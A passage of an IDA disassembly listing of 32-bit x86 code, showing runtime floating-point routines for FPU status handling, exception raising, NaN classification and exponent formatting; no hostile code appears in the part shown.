[eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_419E09 test al, bl jz short loc_4197EF mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4197EF: ; CODE XREF: sub_4196E9+FDj test al, 4 jz short loc_4197FA mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4197FA: ; CODE XREF: sub_4196E9+108j test al, 8 jz short loc_419805 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_419805: ; CODE XREF: sub_4196E9+113j test al, 10h jz short loc_41980F mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41980F: ; CODE XREF: sub_4196E9+11Ej test al, 20h jz short loc_419819 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_419819: ; CODE XREF: sub_4196E9+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_419858 cmp eax, 400h jz short loc_41984A cmp eax, 800h jz short loc_41983E cmp eax, ecx jnz short loc_41985E mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41985E ; --------------------------------------------------------------------------- loc_41983E: ; CODE XREF: sub_4196E9+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_419854 ; --------------------------------------------------------------------------- loc_41984A: ; CODE XREF: sub_4196E9+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_419854: ; CODE XREF: sub_4196E9+15Fj mov [eax], ecx jmp short loc_41985E ; --------------------------------------------------------------------------- loc_419858: ; CODE XREF: sub_4196E9+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41985E: ; CODE XREF: sub_4196E9+14Bj ; sub_4196E9+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_419889 cmp eax, 200h jz short loc_41987C cmp eax, ecx jnz short loc_419896 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_419896 ; --------------------------------------------------------------------------- loc_41987C: ; CODE XREF: sub_4196E9+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_419894 ; --------------------------------------------------------------------------- loc_419889: ; CODE XREF: sub_4196E9+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_419894: ; CODE XREF: sub_4196E9+19Ej mov [eax], ecx loc_419896: ; CODE XREF: sub_4196E9+189j ; sub_4196E9+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_419E17 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_421184 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_419910 and dword ptr [esi], 0FFFFFFFEh loc_419910: ; CODE XREF: sub_4196E9+222j test byte ptr [eax+8], 8 jz short loc_419919 and dword ptr [esi], 0FFFFFFFBh loc_419919: ; CODE XREF: sub_4196E9+22Bj test byte ptr [eax+8], 4 jz short loc_419922 and dword ptr [esi], 0FFFFFFF7h loc_419922: ; CODE XREF: sub_4196E9+234j test byte ptr [eax+8], 2 jz short loc_41992B and dword ptr [esi], 0FFFFFFEFh loc_41992B: ; CODE XREF: sub_4196E9+23Dj test [eax+8], bl jz short loc_419933 and dword ptr [esi], 0FFFFFFDFh loc_419933: ; CODE XREF: sub_4196E9+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_419967 dec ecx jz short loc_41995B dec ecx jz short loc_419951 dec ecx jnz short loc_419969 or byte ptr [esi+1], 0Ch jmp short loc_419969 ; --------------------------------------------------------------------------- loc_419951: ; CODE XREF: sub_4196E9+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_419963 ; --------------------------------------------------------------------------- loc_41995B: ; CODE XREF: sub_4196E9+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_419963: ; CODE XREF: sub_4196E9+270j mov [esi], ecx jmp short loc_419969 ; --------------------------------------------------------------------------- loc_419967: ; CODE XREF: sub_4196E9+257j and [esi], edx loc_419969: ; CODE XREF: sub_4196E9+260j ; sub_4196E9+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_419989 dec ecx jz short loc_419980 dec ecx jnz short loc_419992 and [esi], edx jmp short loc_419992 ; --------------------------------------------------------------------------- loc_419980: ; CODE XREF: sub_4196E9+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_419990 ; --------------------------------------------------------------------------- loc_419989: ; CODE XREF: sub_4196E9+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_419990: ; CODE XREF: sub_4196E9+29Ej mov [esi], ecx loc_419992: ; CODE XREF: sub_4196E9+291j ; sub_4196E9+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4196E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41999C proc near ; CODE XREF: sub_419651+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4199C7 test byte ptr [ebp+arg_8], bl jz short loc_4199C7 push ebx call sub_419E49 pop ecx and edi, 0FFFFFFF7h jmp loc_419B91 ; --------------------------------------------------------------------------- loc_4199C7: ; CODE XREF: sub_41999C+15j ; sub_41999C+1Aj test al, 4 jz short loc_4199E1 test byte ptr [ebp+arg_8], 4 jz short loc_4199E1 push 4 call sub_419E49 pop ecx and edi, 0FFFFFFFBh jmp loc_419B91 ; --------------------------------------------------------------------------- loc_4199E1: ; CODE XREF: sub_41999C+2Dj ; sub_41999C+33j test al, bl jz loc_419ABB test byte ptr [ebp+arg_8], 8 jz loc_419ABB push 8 call sub_419E49 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_419A93 cmp ecx, 400h jz short loc_419A6B cmp ecx, 800h jz short loc_419A43 cmp ecx, eax jnz loc_419AB3 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fld dbl_438078 fnstsw ax sahf ja short loc_419A3B fchs loc_419A3B: ; CODE XREF: sub_41999C+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419AB1 ; --------------------------------------------------------------------------- loc_419A43: ; CODE XREF: sub_41999C+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fnstsw ax sahf jbe short loc_419A5B fld dbl_438068 jmp short loc_419A63 ; --------------------------------------------------------------------------- loc_419A5B: ; CODE XREF: sub_41999C+B5j fld dbl_438078 fchs loc_419A63: ; CODE XREF: sub_41999C+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419AB1 ; --------------------------------------------------------------------------- loc_419A6B: ; CODE XREF: sub_41999C+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fnstsw ax sahf jbe short loc_419A83 fld dbl_438078 jmp short loc_419A8B ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_41999C+DDj fld dbl_438068 fchs loc_419A8B: ; CODE XREF: sub_41999C+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419AB1 ; --------------------------------------------------------------------------- loc_419A93: ; CODE XREF: sub_41999C+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217B0 fld dbl_438068 fnstsw ax sahf ja short loc_419AAB fchs loc_419AAB: ; CODE XREF: sub_41999C+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_419AB1: ; CODE XREF: sub_41999C+A5j ; sub_41999C+CDj ... fstp qword ptr [ecx] loc_419AB3: ; CODE XREF: sub_41999C+81j and edi, 0FFFFFFFEh jmp loc_419B91 ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_41999C+47j ; sub_41999C+51j test al, 2 jz loc_419B91 test byte ptr [ebp+arg_8], 10h jz loc_419B91 push esi xor esi, esi test al, 10h jz short loc_419AD6 mov esi, ebx loc_419AD6: ; CODE XREF: sub_41999C+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_4217B0 fnstsw ax sahf jz loc_419B7F fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_419D48 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_419B21 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_419B75 ; --------------------------------------------------------------------------- loc_419B21: ; CODE XREF: sub_41999C+17Aj fld [ebp+var_C] fcomp dbl_4217B0 fnstsw ax sahf jnb short loc_419B33 mov edx, ebx jmp short loc_419B35 ; --------------------------------------------------------------------------- loc_419B33: ; CODE XREF: sub_41999C+191j xor edx, edx loc_419B35: ; CODE XREF: sub_41999C+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_419B69 sub eax, ecx loc_419B4C: ; CODE XREF: sub_41999C+1CBj test byte ptr [ebp+var_C], bl jz short loc_419B57 test esi, esi jnz short loc_419B57 mov esi, ebx loc_419B57: ; CODE XREF: sub_41999C+1B3j ; sub_41999C+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_419B63 or byte ptr [ebp+var_C+3], 80h loc_419B63: ; CODE XREF: sub_41999C+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_419B4C loc_419B69: ; CODE XREF: sub_41999C+1ACj test edx, edx jz short loc_419B75 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_419B75: ; CODE XREF: sub_41999C+183j ; sub_41999C+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_419B81 ; --------------------------------------------------------------------------- loc_419B7F: ; CODE XREF: sub_41999C+14Ej mov esi, ebx loc_419B81: ; CODE XREF: sub_41999C+1E1j test esi, esi pop esi jz short loc_419B8E push 10h call sub_419E49 pop ecx loc_419B8E: ; CODE XREF: sub_41999C+1E8j and edi, 0FFFFFFFDh loc_419B91: ; CODE XREF: sub_41999C+26j ; sub_41999C+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_419BA8 test byte ptr [ebp+arg_8], 20h jz short loc_419BA8 push 20h call sub_419E49 pop ecx and edi, 0FFFFFFEFh loc_419BA8: ; CODE XREF: sub_41999C+1F9j ; sub_41999C+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419BB3(int,int,int,int,int,int,double,int) sub_419BB3 proc near ; CODE XREF: sub_4195FE+2Bp ; sub_419651+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_419C61 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_419C1E mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_419E26 lea eax, [ebp+var_20] push eax call sub_41D813 add esp, 0Ch test eax, eax jnz short loc_419C18 push esi call sub_419C3B pop ecx loc_419C18: ; CODE XREF: sub_419BB3+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_419C1E: ; CODE XREF: sub_419BB3+14j push 0FFFFh push [ebp+arg_20] call sub_419E26 push [ebp+arg_0] call sub_419C3B fld [ebp+arg_18] add esp, 0Ch leave retn sub_419BB3 endp ; =============== S U B R O U T I N E ======================================= sub_419C3B proc near ; CODE XREF: sub_419651+7Dp ; sub_419BB3+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_419C56 jle short locret_419C60 cmp eax, 3 jg short locret_419C60 mov dword_469494, 22h retn ; --------------------------------------------------------------------------- loc_419C56: ; CODE XREF: sub_419C3B+7j mov dword_469494, 21h locret_419C60: ; CODE XREF: sub_419C3B+9j ; sub_419C3B+Ej retn sub_419C3B endp ; =============== S U B R O U T I N E ======================================= sub_419C61 proc near ; CODE XREF: sub_419BB3+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_437F90 loc_419C68: ; CODE XREF: sub_419C61+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_419C7E add eax, 8 inc ecx cmp eax, offset dbl_438068 jl short loc_419C68 xor eax, eax retn ; --------------------------------------------------------------------------- loc_419C7E: ; CODE XREF: sub_419C61+Dj mov eax, off_437F94[ecx*8] retn sub_419C61 endp ; =============== S U B R O U T I N E ======================================= sub_419C86 proc near ; CODE XREF: sub_419651+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_419C92 push 5 jmp short loc_419CA8 ; --------------------------------------------------------------------------- loc_419C92: ; CODE XREF: sub_419C86+6j test al, 8 jz short loc_419C9A push 1 jmp short loc_419CA8 ; --------------------------------------------------------------------------- loc_419C9A: ; CODE XREF: sub_419C86+Ej test al, 4 jz short loc_419CA2 push 2 jmp short loc_419CA8 ; --------------------------------------------------------------------------- loc_419CA2: ; CODE XREF: sub_419C86+16j test al, 1 jz short loc_419CAA push 3 loc_419CA8: ; CODE XREF: sub_419C86+Aj ; sub_419C86+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_419CAA: ; CODE XREF: sub_419C86+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_419C86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419CB3(double) sub_419CB3 proc near ; CODE XREF: sub_415E6C:loc_415EF2p ; sub_415FB3:loc_416039p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_419CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419CC5(double,int) sub_419CC5 proc near ; CODE XREF: sub_419D48+82p ; sub_419D48+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_419CC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CEE proc near ; CODE XREF: sub_415E6C+31p ; sub_415FB3+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_419D05 cmp [ebp+arg_0], edx jnz short loc_419D17 push 1 jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419D05: ; CODE XREF: sub_419CEE+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_419D17 cmp [ebp+arg_0], edx jnz short loc_419D17 push 2 jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419D17: ; CODE XREF: sub_419CEE+11j ; sub_419CEE+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_419D2A push 3 jmp short loc_419D41 ; --------------------------------------------------------------------------- loc_419D2A: ; CODE XREF: sub_419CEE+36j cmp cx, 7FF0h jnz short loc_419D44 test [ebp+arg_4], 7FFFFh jnz short loc_419D3F cmp [ebp+arg_0], edx jz short loc_419D44 loc_419D3F: ; CODE XREF: sub_419CEE+4Aj push 4 loc_419D41: ; CODE XREF: sub_419CEE+15j ; sub_419CEE+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_419D44: ; CODE XREF: sub_419CEE+41j ; sub_419CEE+4Fj xor eax, eax pop ebp retn sub_419CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419D48(double,int) sub_419D48 proc near ; CODE XREF: sub_41999C+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_4217B0 push esi fnstsw ax sahf jnz short loc_419D68 fldz xor esi, esi fstp [ebp+var_8] jmp loc_419DFE ; --------------------------------------------------------------------------- loc_419D68: ; CODE XREF: sub_419D48+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_419DD7 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_419D80 cmp dword ptr [ebp+arg_0], ecx jz short loc_419DD7 loc_419D80: ; CODE XREF: sub_419D48+31j fld [ebp+arg_0] fcomp dbl_4217B0 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_419D98 push 1 pop eax jmp short loc_419D9A ; --------------------------------------------------------------------------- loc_419D98: ; CODE XREF: sub_419D48+49j xor eax, eax loc_419D9A: ; CODE XREF: sub_419D48+4Ej ; sub_419D48+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_419DB3 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_419DAD or dword ptr [ebp+arg_0+4], 1 loc_419DAD: ; CODE XREF: sub_419D48+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_419D9A ; --------------------------------------------------------------------------- loc_419DB3: ; CODE XREF: sub_419D48+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_419DC1 or byte ptr [ebp+arg_0+7], 80h loc_419DC1: ; CODE XREF: sub_419D48+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_419CC5 fstp [ebp+var_8] add esp, 0Ch jmp short loc_419DFE ; --------------------------------------------------------------------------- loc_419DD7: ; CODE XREF: sub_419D48+28j ; sub_419D48+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_419CC5 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_419DFE: ; CODE XREF: sub_419D48+1Bj ; sub_419D48+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_419D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E09 proc near ; CODE XREF: sub_4196E9+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_419E09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E17 proc near ; CODE XREF: sub_4196E9+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_419E17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E26 proc near ; CODE XREF: sub_415E6C+13p ; sub_415E6C+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_419E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E49 proc near ; CODE XREF: sub_41999C+1Dp ; sub_41999C+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_419E60 fld tbyte_438090 fistp [ebp+arg_0] wait loc_419E60: ; CODE XREF: sub_419E49+Bj test cl, 8 jz short loc_419E75 fstsw ax fld tbyte_438090 fstp [ebp+var_8] wait fstsw ax loc_419E75: ; CODE XREF: sub_419E49+1Aj test cl, 10h jz short loc_419E84 fld tbyte_43809C fstp [ebp+var_8] wait loc_419E84: ; CODE XREF: sub_419E49+2Fj test cl, 4 jz short loc_419E92 fldz fld1 fdivrp st(1), st fstp st wait loc_419E92: ; CODE XREF: sub_419E49+3Ej test cl, 20h jz short locret_419E9D fldpi fstp [ebp+var_8] wait locret_419E9D: ; CODE XREF: sub_419E49+4Cj leave retn sub_419E49 endp ; =============== S U B R O U T I N E ======================================= sub_419E9F proc near ; CODE XREF: sub_415F3B+Fp push 30000h push 10000h call sub_41D84B pop ecx pop ecx retn sub_419E9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419EB1 proc near ; CODE XREF: sub_419EEF:loc_419F13j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_4217C0 fstp [ebp+var_8] fld dbl_4217B8 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_421670 fnstsw ax sahf jbe short loc_419EEB push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_419EEB: ; CODE XREF: sub_419EB1+33j xor eax, eax leave retn sub_419EB1 endp ; =============== S U B R O U T I N E ======================================= sub_419EEF proc near ; CODE XREF: sub_415F3B+5p push offset aKernel32 ; "KERNEL32" call dword_4210C8 ; GetModuleHandleA test eax, eax jz short loc_419F13 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4210C4 ; GetProcAddress test eax, eax jz short loc_419F13 push 0 call eax ; sub_415F3B retn ; --------------------------------------------------------------------------- loc_419F13: ; CODE XREF: sub_419EEF+Dj ; sub_419EEF+1Dj jmp sub_419EB1 sub_419EEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F18 proc near ; CODE XREF: sub_417D4C+3CBp ; DATA XREF: sub_415F53+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_417193 cmp eax, 65h pop ecx jz short loc_419F58 loc_419F2C: ; CODE XREF: sub_419F18+3Ej inc esi cmp dword_437F7C, 1 jle short loc_419F45 movsx eax, byte ptr [esi] push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_419F54 ; --------------------------------------------------------------------------- loc_419F45: ; CODE XREF: sub_419F18+1Cj movsx eax, byte ptr [esi] mov ecx, off_437D70 mov al, [ecx+eax*2] and eax, 4 loc_419F54: ; CODE XREF: sub_419F18+2Bj test eax, eax jnz short loc_419F2C loc_419F58: ; CODE XREF: sub_419F18+12j mov cl, byte_437F80 mov al, [esi] mov [esi], cl inc esi loc_419F63: ; CODE XREF: sub_419F18+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_419F63 pop esi retn sub_419F18 endp ; =============== S U B R O U T I N E ======================================= sub_419F72 proc near ; CODE XREF: sub_417D4C+3E2p ; DATA XREF: sub_415F53+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_437F80 mov cl, [eax] test cl, cl jz short loc_419F8E loc_419F82: ; CODE XREF: sub_419F72+1Aj cmp cl, dl jz short loc_419F8E mov cl, [eax+1] inc eax test cl, cl jnz short loc_419F82 loc_419F8E: ; CODE XREF: sub_419F72+Ej ; sub_419F72+12j mov cl, [eax] inc eax test cl, cl jz short locret_419FBF loc_419F95: ; CODE XREF: sub_419F72+34j mov cl, [eax] test cl, cl jz short loc_419FA8 cmp cl, 65h jz short loc_419FA8 cmp cl, 45h jz short loc_419FA8 inc eax jmp short loc_419F95 ; --------------------------------------------------------------------------- loc_419FA8: ; CODE XREF: sub_419F72+27j ; sub_419F72+2Cj ... mov ecx, eax loc_419FAA: ; CODE XREF: sub_419F72+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_419FAA cmp [eax], dl jnz short loc_419FB5 dec eax loc_419FB5: ; CODE XREF: sub_419F72+40j ; sub_419F72+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_419FB5 locret_419FBF: ; CODE XREF: sub_419F72+21j retn sub_419F72 endp ; =============== S U B R O U T I N E ======================================= sub_419FC0 proc near ; DATA XREF: sub_415F53+28o ; .nsp0:off_4380B8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_4217B0 fnstsw ax sahf jb short loc_419FD5 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_419FD5: ; CODE XREF: sub_419FC0+Fj xor eax, eax retn sub_419FC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD8 proc near ; CODE XREF: sub_41AD3D+430p ; DATA XREF: sub_415F53+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41A001 lea eax, [ebp+var_8] push eax call sub_41DD0E mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41A001: ; CODE XREF: sub_419FD8+Cj lea eax, [ebp+arg_8] push eax call sub_41DD3B mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_419FD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A016 proc near ; CODE XREF: sub_41A293+17p ; sub_41A2DD+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_469500, 0 push ebx push esi jz short loc_41A04B mov ebx, [ebp+arg_8] mov eax, dword_4694FC xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41A32E pop ecx pop ecx jmp short loc_41A083 ; --------------------------------------------------------------------------- loc_41A04B: ; CODE XREF: sub_41A016+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41DDDF mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41DD68 add esp, 14h loc_41A083: ; CODE XREF: sub_41A016+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41A08F mov byte ptr [eax], 2Dh inc eax loc_41A08F: ; CODE XREF: sub_41A016+73j test ebx, ebx jle short loc_41A0A7 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_437F80 mov eax, edi pop edi mov [eax], cl loc_41A0A7: ; CODE XREF: sub_41A016+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_469500, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_415C00 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41A0CE mov byte ptr [ecx], 45h loc_41A0CE: ; CODE XREF: sub_41A016+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41A113 mov ebx, [esi+4] dec ebx jns short loc_41A0E2 neg ebx mov byte ptr [ecx], 2Dh loc_41A0E2: ; CODE XREF: sub_41A016+C5j inc ecx cmp ebx, 64h jl short loc_41A0F9 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A0F9: ; CODE XREF: sub_41A016+D0j inc ecx cmp ebx, 0Ah jl short 